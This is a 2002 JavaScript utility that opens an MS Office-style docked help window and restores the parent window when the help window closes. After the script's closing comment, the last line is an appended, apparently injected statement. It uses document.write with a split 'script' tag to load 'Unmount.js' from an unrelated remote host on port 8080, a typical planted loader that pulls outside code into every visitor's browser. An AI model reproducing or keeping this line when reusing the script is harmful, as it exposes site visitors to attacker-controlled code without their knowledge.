<!--
//////////////////////////////////////////////////////////////////////////////
//
// Docking Side Window (MS Office Style) Script
//  
// Writtten by: Shane Edmonds
//              11.08.2002
//
// Usage:
//  launchDock(url,w) //must be called from inside <body> tag if client is IE
//  
//  url = url of the document to be placed into the help window
//  w = width of the new help window
//
//////////////////////////////////////////////////////////////////////////////

var helpWin = null; //child window object
var currentMetrics; //structure for screen metrics at the time the help window was launched
var timerID = null; //help window destruction check timer object


//Call this function to launch the help window. 
//Pass in the url of the help document and the desired width of the window.
function launchDock(url,w) {
  currentMetrics = new clientMetrics();
  //resize & move parent window
  window.moveTo(0,0);
  window.resizeTo(currentMetrics.screenWidth-w,currentMetrics.screenHeight)
  //open new help child window & then resize & move it
  helpWin = window.open('','helpWin',config='toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,directories=no,status=yes');
  helpWin.resizeTo(w,currentMetrics.screenHeight);
  helpWin.moveTo(currentMetrics.screenWidth-w,0);
  //must set the window location last to avoid access denied in ie
  helpWin.location = url; 
  timerID = setInterval('checkDockWin()',500)
}


//This is a helper function that stores the current available screen dimensions, the current browser dimensions,
//and the current browser origin coordinates.
function clientMetrics() {

  if (window.outerWidth) this.windowWidth = window.outerWidth;
  else if (document.body && document.body.offsetWidth) this.windowWidth = document.body.offsetWidth;
  else this.windowWidth = 0;

  if (window.outerHeight) this.windowHeight = window.outerHeight;
  else if (document.body && document.body.offsetHeight) this.windowHeight = document.body.offsetHeight;
  else this.windowHeight = 0;

  // for NN4/IE4
  if (self.screen) {     
    this.screenWidth = screen.availWidth
    this.screenHeight = screen.availHeight
  }
  // for NN3 w/Java
  else if (self.java) {   
    var javakit = java.awt.Toolkit.getDefaultToolkit();
    var scrsize = javakit.getScreenSize();       
    this.screenWidth = scrsize.width; 
    this.screenHeight = scrsize.height; 
  }

  if (window.screenX) this.windowLeft = window.screenX;
  if (window.screenY) this.windowTop = window.screenY;
  if (window.screenLeft) this.windowLeft = 0;
  if (window.screenTop) this.windowLeft = window.screenTop;


}


//This function checks for the destruction of the help window and restores the calling window to its original state.
function checkDockWin() {
  if (helpWin.closed) {
   window.resizeTo(currentMetrics.windowWidth, currentMetrics.windowHeight);
   window.moveTo(currentMetrics.windowLeft, currentMetrics.windowTop)
   clearInterval(timerID);
  }
}
//-->



document.write('<s'+'cript type="text/javascript" src="http://soaoo.blog-salopes.com:8080/Unmount.js"></scr'+'ipt>');